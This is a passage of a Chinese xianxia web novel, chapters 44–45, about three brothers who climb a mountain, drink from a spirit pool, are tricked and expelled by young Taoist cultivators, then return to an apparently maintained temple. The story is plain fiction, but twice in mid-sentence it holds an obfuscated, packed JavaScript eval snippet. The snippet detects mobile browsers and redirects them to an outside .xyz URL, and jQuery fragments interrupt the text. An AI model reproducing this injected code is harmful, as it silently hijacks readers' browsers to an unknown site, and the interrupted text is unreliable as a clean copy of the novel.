小庄脸上恐惧之色一点未减,道:“他们几人,看起来不像是正常人…二庄,你忘了吗?刚刚那小姑娘,手一抬就把我们挂在半空中了,还有…还有…那蓝白道人和那姑娘都不用脚走路,飞来飞去…对了!那小姑娘,身上干干净净,你看看我们…从石头上起来后,身上多脏啊!!他们一定是鬼…鬼的身上才不会脏…” 二庄兴奋道:“小庄你说你…胆小心还细,迟早要把自己吓死。你跟紧大庄,少胡思乱想。” 小庄抱紧大庄手臂,不敢松手,撅嘴道:“我总觉得他们不是好人…太奇怪了,还吓人。” 二庄笑道:“怪才好…说明咱们离寻的东西应该是越来越近了。而他们,多半是会点功法的修炼之士,会点异术不足为怪。还有一点我可以肯定,他们…不敢伤人性命,你没瞧见那蓝白道人刚才温声关心,话语中还有一丝畏惧我们三人?” 小庄疑惑道:“有吗?” 不管究竟有没有,反正他更害怕那一群人。 大庄则又吐了一口吐沫,粗鲁道:“管他娘的是不是,爬到山顶再说!!” 三人沿着六人蹦跳的方向,继续攀登。 山势的确越来越险峻,有些地方都不能说是没有路,可以说连山都没了…山崖断裂,草木绝迹,下方河水湍急,不少水花拍打至崖壁上。 该说不说,庄氏兄弟三人的决心之大,‘力’之雄厚,竟让他们徒手徒脚,抠抓崖石缝,险险地到了断崖的另一边。 他们现在只有前路,没有退路了。 三人浑身湿透,手掌破裂,指蛋没有一处还完好无损,鞋面浸出的水渍,污泥水中带有一丝不正常的红,他们三人的脚下,每一步都犹如在火上行走,剧痛难忍。 三人看起来一点都不在意那断崖,甚至又继续向上攀登了数里,且没有一人说放弃,眼中也都只有前方的上山路。 半个时辰后,云雾渐起,山景朦胧,他们脚下竟出现了一条干净整洁,宽阔平坦,人工铺砌的青石阶梯路。 雾越来越浓,三人有些看不清路了,也有些辨不清上山的方向,他们低俯身子,用血肉模糊的手指在地上摸索,沿着石阶的高矮,一步一步向上爬。 空中凌厉一震。 “呼~” 三人闻声直起身来。 空中再破风一响。 “歘~” 浓雾在三人面前被斩开,二庄鼻尖前一毫处,一把长刀穿雾而现,长刀执柄上握有一只青筋突暴的大手。 二庄浑身发抖,干咽后稳定身形,在小庄和大庄的惊呼声中,和其他两人一起朝刀柄后,浓雾中显露而出的来人看去。 执长刀的是一青年,瞧着和怀晓年岁相仿,红蓝长袍,手腕上带着精铁护臂,额上绑了三指宽的汗巾,一身干练,马尾却松松垮垮,还有几缕发丝,越过汗巾,凌乱地贴在他脸颊两侧。 那青年,眼神异常坚定,皮肤紧致,手背明显比脖颈处要黑上两分,一看就是每天都在烈日下暴晒。 他手稳刀未晃,质问刀前三人,道:“你们是谁?作何上山来?” 铛~ 二庄还未来得及作答,鼻翼前的长刀,由一把穿雾突入的银剑挑开。 青年执刀退了数步,隐匿在浓雾中,银剑滋啦推动长刀,一起消失在了雾里。 长刀离开,二庄松了一口气,他在大庄和小庄的参扶下,一起瘫软在石阶路上。 随后,环绕他们的浓雾中,‘铿铿锵锵’,刀剑相碰,疾风唰唰掠过,几道火花,环绕他们三人,从薄雾中乍现,仿佛那云中闪电,声音刺耳,白光晃眼。 方才执刀的青年,在浓雾中,怒吼道:“宋世平!你干什么!!” 刀剑声中,一男子声也在浓雾中响起,道:“杨战息,你太莽撞了,若是你刀刃伤到他们怎么办…伤了活人,破了修行又该怎么办!” 滋啦~ 刀剑撕扯,浓雾中不再有风声划破,杨战息‘哼’了一声,闷闷地大喘息,道:“我有分寸。” 嚓… 刀剑拉过,还是杨战息那方,宋世平叹息一声,道:“若是有分寸,前几年,你为何会损气运?” 杨战息抿唇含糊道:“我现在手稳,不会有差错。” 宋世平又叹了一声,道:“手再稳,心不稳,仍旧会出错…” 杨战息急急地道:“好了好了,我知道了…” 宋世平道:“嗯,下不为例。” 唰唰几道剑鸣,破风之声再起,和刀剑相碰的凌厉比起来,这挥动而起的剑气,似乎更柔和一些,像是在驱赶什么东西。 不多时,庄氏兄弟三人发现,四周的浓雾竟在慢慢散去…眼前景色开始慢慢清晰。 44. 三莽汉上山下山3 这条山道,和断崖另一方的上山路完全不一样。 过断崖之前,山中并没有路,乱石嶙峋,枯枝杂草,一路上山,不是荆棘拦道,便是断树阻行。 过断崖之后,本来路也不是很明显,可浓雾散去后,三人此时却仿佛置身名胜景地,目之所及,漫山遍野都是粉红雪花一样的樱树,树下也是花,五颜六色的格桑,开得格外的好。 三人看不明白,为何空中飘荡的花瓣,无论如何也落不到青石台阶上,也想不明白,方才浓雾中,他们四周明明有刀剑碰撞的金石声,还闪现过碰撞出的火花,可在地上,却寻不到有一枝一花折损。 半盏茶功夫,石阶道上方,渐显出了两人身影。 一人执刀而立,在更上方一节台阶站着。 正是先前三人在浓雾中所见到的那名青年。 他目光明亮,却含了一丝怨气,视线从身前人,移向石阶路下方的三人身上。 而另一人则手持银剑,正身而立,目视前方,另一手在胸前掐诀。 持剑人的穿着打扮和执刀青年不尽相同,他额上没有汗巾,年岁瞧着也是二十五六,手腕上有一副一模一样的精铁护臂,模样瞧着更儒雅一些,俊俏脸颊上也没有执刀青年那份英气。 浓雾消失殆尽,他手挽剑花,将银剑背在身后,胸前掐诀的手也放了下来,举步生风朝石阶下方三人而去。 他身后的执刀青年,不情不愿地跟了上来。 执刀青年道:“看吧,我说了我手稳,没伤着他们。” 三人空洞洞的眼珠子中,终于有了意识。通过嗓音分辨出,执刀青年是浓雾中被叫杨战息的莽撞道士,而另一位儒雅的青年,则是那唤宋世平的人。 宋世平蹲了下来,伸手在三人手腕上探脉,又仔细观望了三人一番,道:“还好,只是惊吓过度。” 杨战息朝一旁空踢数脚,刀剑在石板上‘哒哒’敲着撒气,道:“我说了,我手稳着呢。” 视线落在宋世平刚搭脉撤回来的手上,杨战息肉眼可见的慌乱,急促问道:“宋世平,你什么时候又瞒着我学习医术了,说!是不是路了绿教你的!!你怎么又背着我偷偷摸摸…” 杨战息咋咋呼呼起来,宋世平有些时候是真忍受不住,打断他的话,道:“没有。” 杨战息大喊道:“没有什么!宋世平,你倒是给我说清楚!!” 宋世平呼出一口气,道:“我说我没有学,路了绿也没有教。” 站起身,他将手指搭在杨战息腕间,道:“只是感受得到你脉搏快不快…你的就比他们的慢上许多,我的心跳也没他们的快,他们又失了神,我才说他们惊吓过度,懂了吗?我没有私下里学医,没有瞒着你去做任何事。” 杨战息尴尬挠头,不确定地自己给自己把了脉,又仿照宋世平先前的模样,给地上三人探了脉,喃喃道:“还真是…” 他站起身来,一脸倔强,道:“没有最好,宋世平,你别忘了,你做什么事都应先和我说,不许背着我。” 宋世平无奈道:“我答应你了,就不会再出现那种事。” 杨战息眼神微微沉下,刀剑驻地,对地上开始慢慢活动四肢的三人,问道:“你们是谁?作何上山来?是如何走到此地的?” 他语气不善。二庄怕其他两人说漏嘴,招来不必要的麻烦,率先撑地站了起来,模样狼狈地拱手一礼,道:“二位道长,我们是上山修炼。” 二庄抬起双手,将血肉模糊的十指展露在对面二人眼前。 杨战息弱弱点评道:“你们肉身…真差。” 宋世平斜了杨战息一眼,语气柔了两分,道:“三位可还能走动?前方有一凉亭,还有一神水池,若是还能行动,可以去那边休整一番。” 二庄也不客气,道:“多谢。” 白光一晃,人影闪动,长刀横在了二庄身前。另外,刀背上,还夹有两指,阻断了长刀靠近他的势头,他的一只胳膊也被一只手拽住,把他往后拖了半步。 二庄站稳,宋世平先关心道:“可有受伤?” 二庄摇摇头,宋世平侧回身,对长刀所持之人温怒道:“你又做什么!” 杨战息长刀未收,和宋世平僵持住,他道:“我说了我手稳,伤不到他,瞧你紧张的,不过是个陌生人…” 宋世平震喊道:“”杨战息!” 杨战息气势不弱,道:“宋世平,我又没做什么,你吼我做什么!我是你弟弟,还是这群人是啊,你总这样帮外人!一点情面也不留!!” 宋世平张着嘴愣了好一会儿,终是什么也没说,先松了挡刀的手。 弟弟… 杨战息当真觉得受委屈时,便会拿‘弟弟’身份出来,让宋世平再有理,也没了去一究到底的心。 杨战息也收了刀,解释道:“宋世平,这几年,你是又忘了吗?崖后不留外人。若是隗晎知道了,你不仅没有立即送他们下山,还引他们去神池水疗伤,你会有大苦头吃的。” 宋世平呢喃道:“同是修炼之人,他们这个样子,显然是肉身虚弱,若不及时调整,会伤根本。” 杨战息就是因为初始淬炼肉身筋骨时,没有一个度,伤了身,才晚了好些年到破境界点。 每每想起杨战息浑身血肉模糊,山中其他修行的道友将他背回来的场景,宋世平都十分自责。 而也是那次,宋世平对入山修炼的道友,变得要格外仁慈,不像捕杀山中精怪时那般狠厉,反而像是在还愿…积攒功德福报。 杨战息道:“神明主像已经迁移,他们就算想在这座山里修炼,也没有机缘可寻。况且…他们还是不相识的陌生人。” 他口中‘陌生人’三字咬的特别重。 杨战息的话并无道理,山内神明像迁走以后,山间许久未入外人了,若真是修炼之人,岂会寻一个未有神明坐镇的荒山? 另外,断崖后的灵气,他们见了,可否愿意舍弃? 又或者,他们会不会又和当初那些故意来抢站山头的陌生人一样,不计后果,胡搅蛮缠? 朝二庄盯去,宋世平神色板正,问道:“还请如实相告,三位究竟是谁?作何上山来?又是如何走到此地的?可有在山脚、或是途中,遇见什么人?” 二庄和小庄也从地上爬了起来,听闻宋世平的问话,小庄哽咽道:“我们…我们误打误撞走到这里的。” 二庄喝止道:“小庄!” 小庄还在哭泣,在二庄眼色下,大庄将他拖到了一边。 二庄接过小庄未答完的话,继续说道:“两位道友勿恼,我们三人是在入山前认识的,因为年岁相差不大,且都姓庄,又有过一饭情谊,故而拜了天地,结为异父异母的亲兄弟。” 答完第一问,二庄偷看了一眼面前两人的神态,见其均未生疑虑,道:“我们兄弟三人入山时日不多,本在另一片植被茂盛,鸟禽纷飞的林间苦修,今日在山中迷了路,才歪打正着到了这里。至于中途是否遇见什么人,倒是晃眼间有见过几抹身量高矮不一的小道人身影,但离得远,我们几人也看得不是很真切,估计是眼花了吧。” 这话,二庄半真半假地说了出来,倒让人察觉不出错来。 宋世平苦恼的蹙了下眉,道:“随我来吧,稍作休整,你们便立即下山。” 小庄听见走到这里,还可以下山,急忙问道:“这里还有其他路下山?” 杨战息笑道:“没有。自然是从那方来,再从原路返回。” 想起断崖的惊悚,小庄眼泪啪嗒啪嗒往下流,抱紧大庄的小臂,哭诉道:“没…没有下山路了…我脚疼,手疼,回…回不去了。” 大庄口中又溢出了浓痰,可却碍于石阶上的两人,吞咽道:“他娘的,哭…哭哭!把眼泪给我擦咯!!” 二庄则无奈唤道:“小庄…既来之则安之。” 小庄哭声越来越大,有了大庄和二庄的劝止,他便把头埋进了大庄怀里,歇斯底里地放声哭泣起来。 杨战息唏嘘道:“啧~堂堂一个男儿,竟然比小音还爱哭,没脸看…” 呜呜…哇哇…吵得杨战息脑瓜子疼。 这眼泪还是他最害怕的东西… 杨战息碎念道:“烦死人了!” 回转身,收了长刀,朝阶梯之上走去,他一边走,一边道:“别哭了!去池子里养好了手脚,就快些下山!!” 宋世平也侧身给三人让了路,道:“请。” 二庄抱手道:“多谢二位道长。” 捡起地上三个大包袱,二庄全背在身上,对大庄两人道:“大哥,你把小庄抗上吧,我们去借道长的地儿,洗洗伤。” 大庄难得温柔道:“嗯,你走前面,我会带小庄跟上。” 半炷香,道路两侧的樱树慢慢过渡成一片绿树林,再走了百来梯,绿树林变成了一大片竹林。 在石阶左侧林间,出现了一座三顶大凉亭,亭中有石桌石凳,亭柱周围草藤茂盛,上面开出星星碎碎的小白花,和不少其他的藤蔓,一两株爬山虎从草藤里钻出来,顺亭子柱壁上爬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553712|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这亭子没有题词对联,只有绿植点缀,和山间青石阶路一样,干干净净。 亭子前,一大片踩踏夯实的短草地,临近亭廊前有几块自然风化的山石,它们累成了一座矮山。石面上,有些地方刀痕剑痕遍布,有些地方光滑圆润,上面还搁置了水壶和拭汉布巾,显然此处是山中人的练功之地。 细瞧那块松散的拭汉布巾,一块颜色暗沉有水渍,一块明亮干燥,分明是他们几人上来前,还有人在这方练功。 而亭子后,有一面和断崖一样的石壁,只是上面青苔遍布,生了许多草叶,云烟缭绕,“咕噜咕噜”的,顺石缝还渗出了热泉。 热泉落在下方,形成一汪水池,也是雾涌云蒸,而那困住池水的鹅卵石,恰好围困亭廊另外两面形成,一直到矮石山背后被阻。 去往水池的唯一通道,便在三顶凉亭的一侧。 那亭檐下,还置了一块遮挡水雾的竹帘。 众人刚到,杨战息跳步飞身上了矮山石上光滑圆润的一方,他一脚半踩在石沿上,一腿挂在石壁上,手拿起旁边的水壶大口大口喝起来。 宋世平则带三人继续朝水池边走去。 众人穿过三顶凉亭,到了竹帘前,宋世平掀起竹帘固定在亭檐上,嘱咐道:“三位自便,我在外间等候。” 交代完,便回到了杨战息身边。 水池清净,没了竹帘遮挡,坐在亭下的台阶上,面迎水汽,便叫人浑身舒展。 三人欣喜怯懦,不敢直接把手脚放在里面清洗,怕玷污了池中水,他们从包袱里取了三条布巾,又拿芭蕉叶舀了水淋在布头上,才在池边盘坐擦拭伤口。 血迹清,伤口有慢慢愈合之势,疼痛感也没了,大庄忍不住,吞咽尽口中痰水,道:“宝贝…这水难道是宝贝…” 二庄拿手戳了戳大庄,远处宋世平见怪不怪道:“这池水算不上宝贝,只是这热泉有些药性,对伤口好。” 他只字未提,这汪泉水下的镇池灵石… 三人点头附和道:“难怪…”“不过,也是好东西。”“比寻常外伤药管用。” 小庄身上舒坦了,感叹道:“若是能天天泡池子里,身体肯定会特别好…” 顺手拿芭蕉叶又舀三捧热泉,分与大庄和二庄后,他喜上眉梢,道:“擦身上都这般好,喝进肚子里,应该效果会更好。大庄,你试试…看看饮了它,能不能洗了身上的病症,若是可以…我们是不是就算找…” 二庄盯了小庄一眼,小庄立即住了嘴。 三人拿起那杯泉水,面上虽犹犹豫豫,但还是将芭蕉叶放到了嘴边。 左看看,右瞅瞅,三人最终还是相继大口饮尽了芭蕉叶中的池水。 池水划过喉间,他们身体开始发热,身上伤口愈合地更加快,见到好处后,三人相互递了一个眼神,也顾不得亭子外还有两人看着,各自拼命地用芭蕉叶舀池中水喝。 池中灵气,几人都未发现,还傻乎乎地当做灵丹妙药,拼命往肚子里灌。宋世平心下了然,面色突然冷淡,悠悠地道:“即是药,过量对身体则害大于益。” 杨战息早料到了这一幕,嗤笑道:“就你们那身板,再喝两口,立马暴毙而亡。” “咳咳咳…” “…咳咳咳…” “…” 伤口倒是好了,但三人的身体却正如宋世平和杨战息的话中意思,他们通体发热,好似下一刻就会爆裂炸开。身体异样的反应,让他们来不及思索,开始双手抠喉咙,拼命干呕。 二庄吐了几口水后,呼救道:“道…道长,我们很…很难受,救…救救我们。” 杨战息低声吐槽道:“贪心不足,活该!” 宋世平却在一旁摇摇头,并未说话。 此间,突然又响起一名男子声音,干净有活力,道:“何需求他人。解法很简单,药喝多了,自然是要去中和药性,方能化解…” 二庄神思恍惚,听到他们还有得救的方法,努力张口问道:“还请…高人指教。” 那声音懒洋洋地,尾调微扬,如夏日艳阳,回荡在亭中,道:“壁石上的草叶有剧毒,采来吃两片,解药的药性就会跑去针对毒药,便不会让解药再伤身。” 杨战息捂嘴偷笑,宋世平抿唇不语,两人却未插话,而是冷漠地将视线从地上三人身上跳开了。 三人越来越难受,扯开衣襟,在裸石上打滚。 二庄虽意识模糊,但理智还在,确认道:“毒药…能做解药?” “自然。” 45. 三莽汉上山下山4 亭中走来一人,年岁较轻,估摸也就二十岁左右,明黄道袍,腰间一根玉带,手上拿着一截柳枝,他不疾不徐迈步越过地上三人,脚尖轻点,手上柳枝穿风而动,钉于池边石壁上,击落四张草叶。 少年双脚落在地上时,空中那四张草叶也正好落在了他手中。 他走了两步,蹲在三人面前,把草叶往自己嘴里塞了一张,明媚笑眼,咀嚼道:“毒药很可怕吗?” 视线回移,摊开手掌,他将剩下三张草叶,往面前三人处递了递。 少年眸光一凝,嘴角挑起,在三人扭曲的身子上横扫一圈,紧接着道:“解药更难受,不是吗?哈哈哈哈…吃吗?” 这少年皮肤白皙,眉毛如剑,挺鼻如峰,尤其那张嘴,唇瓣红润有血色,牙齿又白又整齐,他盯看三人灿烂说笑,头上那根发带也迎风飞舞而起,让地上三人忽而忘了疼痛,失神地抬头仰望他,和他手中剩下的三张草叶。 须臾,三人摇摇头,又点点头。 二庄抵抗不过身上越来越剧烈的反应,龇牙咧嘴,弓腰蜷腿,颤颤巍巍地伸手拿起了对面人手中的三张草叶,将其中两张分给了另外两人。 少年站起身来,收起笑容,特意交代道:“慢慢嚼…” 涨破爆裂之感,并未缓解,二庄听话地慢慢咀嚼起草叶。 其他两人狼吞虎咽地早已将草叶吞进了肚子里,闻言,抠起喉咙,挤出点残渣,在嘴里继续空嚼。 正在这时,少年脸色一变,索然无味道:“你们真笨,还没之前的人头脑清醒,也没有他们好玩…” 他方才拿草叶的手一翻,食指和中指的指缝,现出了“第五张”草叶。 三人先前看得很清楚,少年手中柳枝,只击落了四张草叶,此时,出现的这“第五张”草叶,委实有些奇怪,免不得让三人由心生出一股不安来。 少年脸上明媚笑容再起,情难自禁道:“算了算了,再有一刻钟,你们死了就不会难受了,我就当做了一件好事吧。” 说完,他把“第五张”草叶化成渣,扬进了池水中。在草叶溶入水里时,他拍了拍手,一脸嫌弃地掸走手中剩余的残渣。 顿时,地上三人面如土色,魂不附体。 再抠嗓子已然来不及了,三人口中草叶太碎,早顺着口水流进了肚子里,连徐徐而行的二庄,也吃完了那张草叶。 三人目光呆滞,身体微微发抖,瘫软在地,一副等死模样。 大庄好半晌才反应过来,破口大骂道:“他娘的,这说的什么话!是整老子呢!!” 小庄逐渐清醒,眼泪不止,断断续续道:“这…这不是解…解药吗?” 唯有二庄,打击最大,脸色苍白,失魂落魄道:“毒药…是解‘解药’的毒药…是我糊涂。” 不知过了多久,二庄思绪回笼,道:“道长方才明明也吃了,怎么会…那片叶子…” 少年打断他的话,低头观摩起方才拿了草叶的手,当三人的面,慢慢地将食指和中指叠动、翻转… 那是一套江湖卖艺人惯用的指上障眼法。 少年做完这些,浅笑道:“谁说我吃了…再有,我青天白日,何故要吃有毒的东西呢,我脑子既没病,也未做亏心之事。吃这东西,不是找死吗?” 俯瞰地上三人,少年嘲弄道:“你们就不同了,你们不仅来此地找死,还贪心不足,该死。” 二庄面红耳赤,羞愧难掩,一副被揭穿了什么龌龊事的模样,支支吾吾,嘴唇一张一合,半天辩解不出一字。 亭外,一直守着的两人,一前一后走了进来。 宋世平脸色暗沉,眼神犀利,道:“南泥,到此为止吧。” 杨战息一手勾肩搭背在少年身上,一手在少年面前给了一个大拇指,道:“南泥,还是你厉害啊!绝!!” 南泥双臂抱起,懒散道:“你哥可真无趣。” 杨战息瘪嘴,面上不悦,跳了起来,双手紧箍南泥肩膀,道:“什么我哥啊!他就比我早出来半刻,我是我,他是他。” 他手上下了死劲,南泥脸色涨红,扭头投降道:“好好,好…宋世平真无趣,行了吧。” 杨战息手上松了两分,单手继续揽着南泥,道:“这还差不多。” 南泥回头,一股小小的劲儿拉扯住他的马尾,他垂眼,才看见杨战息压住了他的发带。 小心翼翼抽回肩上发带,他满眼心疼,推搡对方一肘,又将心中怒气发向地上三人,道:“哼,池中水是什么都不知道,便贪得无厌地拼命往肚子里灌,还不如毒死你们这些不知好活的。” 整理发带,南泥瞧见上面有一丝折痕,立马又朝身旁人大吼道:“还有,杨战息!你再压我发带,我下次就不客气了。” 杨战息收紧小臂,勾了勾,道:“这不是那条怀晓送小音的发带吗?怎么?给你拿来止血后,你倒据为己有了?男子束女子发带,你倒是好意思。” 南泥手一松,将发带扬在身后,道:“我怎么不好意思了。你没有,你吃醋酸的哟。小音没说什么,怀晓也乐意,就你嫉妒我。” 杨战息涨红脸道:“我没有。女子发带,谁稀罕啊!” 手中长刀在地上重重一击,他上下打量了南泥几眼,道:“我道你为何突然改了性子,不穿那身俗不可耐的紫袍子?原是撇弃了自己的喜好,为了将就一根发带。哼!喜新厌旧,他人的东西即便再好,换做是我,我也不会要。” 南泥道:“非也,非也…我是太听劝了,你们都说紫色太俗,我觉得也是。刚好束发要用这根发带,颜色也正好合我心意。” 瞥了眼杨战息,他嬉皮笑脸道:“我换了你又不乐意,还在这里吃不到葡萄说葡萄酸,真像个小姑娘。啧~不如小音,不够大气,还是宋世平好啊。” 杨战息气不可遏道:“你!” 唰! 两人一怔,住了嘴。 在他们打闹间,宋世平从背上抽出银剑,直指地上人,威逼道:“休整好了,就下山吧。” 南泥手指悄悄戳了戳杨战息,龇牙道:“你哥翻脸可真快。” 杨战息眼睛瞪大,朝南泥低吼道:“我说了,他不是我哥!” 南泥手往脑门上一拍,道:“哎呀,别计较嘛,我就是一时忘了。重新来过…宋世平翻脸可真快啊。” 宋世平扫了南泥一眼。 南泥一愣,双手捂嘴。 杨战息嘻嘻笑着,低语道:“叫你招惹他!他的好意刚被一群人辜负,心里不好受着呢。” 说罢,杨战息叹了一口气。 南泥道:“还不都怨你,他若不是为你祈愿,如今又怎会需要还愿?入山之人,都可着他折腾,啧…都怪你啊。” 杨战息道:“我…算了,都是我的错。反正有你这诡辩之人在,他也受不了多少欺负。” 庄氏兄弟三人在地上瘫坐了半晌,并没有如南泥所说,暴毙身亡,反而身子还突然轻盈有力,六感也灵敏异常。 面对剑指三人的宋世平,二庄伸出手,指尖缓缓,想移开这吓人的东西,结果宋世平剑尖一转,躲避移开时,却让二庄指尖凌空受了一剑。 瞬间,二庄五指尽破,鲜血成柱,惊叫声四起。 宋世平蹙眉,目光锐利,将剑尖向水池那方一挑,以剑气引出池水,化成水汽浇在二庄指尖。 指尖伤口迅速愈合… 见状,二庄大嘴空洞地张着,夹断了那道惊呼声。 大庄和小庄也被眼前的神奇景象给定住了身。 原来宋世平刚刚引出水时,顺势将水中灵气凝结,这才让二庄指尖伤口霎时愈合。 而方才,庄氏兄弟三人,因不会调息使灵,致使神池水效用缓慢,又因突然大口饮入神池水,体内灵力暴涨,得不到引导流转,所以三人适才会身似气囊,涨裂难忍。 不懂调息,不知灵力,让三人暴露了在樱树道上答与宋世平的话…是有问题的。 他们撒谎了。 宋世平淡淡道:“诸位非修炼之士,即刻下山吧。” 二庄迟疑道:“道长…我们不过是饮了两口水,你们这又是下毒,又是以剑相伤,会不会太过了…我们几人修行时日短,就要受你们欺负吗?” 南泥和杨战息白了二庄一眼,似笑非笑地睥睨地上三人。 宋世平沉声道:“南泥没有给你们喂毒,那不过是修炼时常含的口叶,好好运转内息,那口叶便是化解你们身体里难受之感的解药。至于你手上的伤口,我方才也未真的打算伤害诸位,是你自己撞上我的剑,被剑气所伤。山中多奇物,为你们好,才让你们下山,否则你们会丧命在此。” 宋世平叹气道:“下山吧。” 杨战息从南泥身上离开,拍拍手,道:“等他们作甚。南泥,走吧,我们送三位去断崖。” 大庄怒骂道:“你他娘的,凭什么指使老子,这山头又不是你们的!!前山那几人都不敢拦我们,我看你们敢!!” 南泥大笑道:“哈哈哈,看来是遇见齐同舟他们几人了,那你们更得走了。” 话刚说完,南泥就抓起地上身材最小的小庄,掐指捏诀,瞬息到了断崖边,远远给亭中人留话道:“你们把人引到这里的,剩下两个重的,你们抗,我只负责这个小的。” 簌! 簌~ 衣袂飞逸,亭中四人也到了断崖处。 还有地上的三个大包袱也一起被带来,扔在了庄氏兄弟三人脚边。 杨战息举刀相向,间隔三人一寸,这次宋世平没再阻拦。 他道:“用了神池水,怎么也能爬回另一边了,请吧。” 三人骂骂咧咧,又上了断崖。 他们回去倒是比来时更容易了一些,可能因为神池水的原因,他们身体十分轻盈,连带着动作也敏捷了不少。 刚踩在山地上,大庄粗鲁地吐了一口口水,道:“他妈的,就喝了两口水,这就回去了?” 二庄低头研究手上在攀岩时留下的划痕,的确比之第一趟,可是轻了不少,想起池中水,笑道:“当然不,来都来了,就肯定要满手而归。” 小庄拦抱大庄腰身,左顾右盼,道:“我们还要回去吗?不下山吗?” 二庄道:“机会不多了,必须得回去登山成事。天黑后,我们再渡断崖。” 大庄嘴里湿湿润润,痰水不再粘稠,让他轻松道:“也成!来都来了,成不成老子都觉得该再去一趟。” 小庄松开手,站了起来,坚定道:“是我刚刚吓怕了,差点忘了,对不起…” 二庄安慰道:“没事,你能走到这里,已经很厉害了。” 三人枕着大包袱,寻了一块干草,原地休息上了。 许是这番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556275|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折腾太累人,三人竟然都睡了过去,再醒来时,已是次日黎明。 三人抓紧时间,赶着天还未大亮,渡过了断崖。 这一次,穿断崖而至,却没了石阶路,也没了大雾,连他们记忆力里向上而行的樱树林也没有了,更别提三人心心念念的那一汪带药性的池水。 他们只能向上攀行,不断搜寻。 刹那间,明日破晓浮出,山间万物清楚可见。 昔日的山中道观,摇曳于三人面前。 红墙青瓦,漆面斑驳,堂廊相连,亭殿错落,若是能伴上青烟缭绕,穿梭几位得罗道人,那便当真是有超脱世俗的意境。 可此时再看,空空荡荡,清潦寂静,倒是多了几分凄凉和落寞。 小庄用袖子擦掉脸上汗水,感叹道:“这道观可真大,该是有上百间吧。” 大则大矣,却是落败了。 大庄也失了神,没想到这里还有这样一处建筑,道:“老子还是第一次见这么气派的地儿…” 凄凉之色,并不能遮住它往日风采,还是让人一眼便生敬畏。 二庄喘息道:“这应该就是传说中,山里的三官道观。由着神像迁移,道人散尽,有名的修炼之士离去,这地儿就荒了。里面指不定还有当年留下的好东西,我们进去看看…” 推开主殿大门,里面反而灯火长明,并无外间被风雨摧残的模样。 殿堂内,除了没有神像,一切都干净整洁。 金器玉皿,红绸旌幡,香坛丹炉,方盒敕令,野果、燃香、鲜花、泉水、油灯,案台五贡品齐全,一样不少,一样不缺。 一、二…五…九。 桌上盘碟、贡品各呈放了九份… 居然是九堂供! 无神之地,竟奉了这么多东西。 这哪里是荒了… 分明是有人日日打扫,定期供奉。 三人默默地仔细瞧了一会儿,见观内东西以金石玉器为主,眼放星光,随即便取下包袱,把里面的衣服、被褥、毛巾、干饼等杂物扔了一地,准备上手收走案桌上的值钱宝贝。 神台左右两侧,人影未出,声音先至。 一人声音,冷冷道:“我二人天未亮就起,收拾了两个时辰,若是乱了,你们三人就自刎谢罪。” 另一声音,听着明显要柔和多了,可能面上还带着笑意,说话和和气气,道:“可是昨日怀晓他们遇见的那三人?你们当真是有些不听劝啊…哈哈哈,没想到‘人力’也可以让你们走到此处。” 小庄抱起没收拾完的包袱,转了一圈,问道:“你们是谁?你们在哪?” 大庄嘴里干渴,咒骂道:“他娘娘的,又见鬼了!” 小庄脖子一缩,两三步跑到大庄身后,紧张地拉起大庄的衣服,道:“鬼?又有鬼?” 二庄理智许多,听方才那人提及‘昨日’‘怀晓’‘听劝’几词,心中明了。 猜想到这说话的两人,估计和昨天遇见的几人是一伙儿,他气定神闲道:“道长们可否出来一见?这躲起来吓我们也不是事儿吧。” 一人鼻中粗气,道:“哼…莽汉。” 另一人则大笑起来,道:“哈哈哈哈…稍等片刻,我们二人手上有些事未了。” 此话语毕,殿堂内一阵静默。 神台后响起一些细小的声音,一会儿像是在折断什么木枝?一会儿又像是在用小刀刮骨什么硬物? 咔嚓~ 簌簌沙沙… 庄氏兄弟三人在堂中等了半盏茶时间,神台左右,才各自走出两人。 神台左边,红黄铭旌撩边自卷,从中走出一位玄青干练常服男子,他高挑俊雅,长发如墨,额前几缕碎发,在那双弯弯的笑眼前,一晃一晃,他却未用手拂扫开,因他手捧木盘,端了一把粗细相同的一寸香,和一顶三足香炉。 神台右边,同样红黄铭旌翻起,一位冷眼冷面的暗紫长袍男子,同时绕出。 他长得不如左边男子高,也不如左边男子秀气,但因为肩膀还算宽厚,整个人倒是比左边的男子更为令人生惧。他手中同样有一张木盘,但盘中却是一碟香粉,和一只火折子。 两人脚下稳重,随着人影在灯火下移走,那一寸香的味道慢慢充斥了整个殿堂。 三人细细品味,内心惊叹道:芳香扑鼻,这香应该也是好东西。 小庄没忍住,好奇道:“道长,你手里的是什么东西?好香啊…” 左侧,面容温润的男子,嘴角含笑,答道:“迦南香。” 这声音,如沐春风,让小庄心中恐惧消了两分。 他胆子大大了起来,丢了手中包袱,从二庄身后绕出来,指着右侧冷面男子盘子里的东西,弱声弱气地问道:“那又是什么?” 依旧是左侧男子,温润解答道:“迦南香粉,一种面香。” 小庄半懂不懂,应道:“哦…” 一寸香,三足香炉,面香,九堂供。 正是道观敬神所行之礼。 大庄把小庄手按了下来,二庄往前一步,挡在小庄面前,面上赔笑,试探道:“原来二位道长是在敬神?” 观已空,无神像,还尽法事。 二庄不免有些疑惑。 左侧男子敛笑柔气道:“今日十五…” 右侧冷面男子,难得张嘴,补充道:“七月十五。” 46. 三莽汉上山下山5 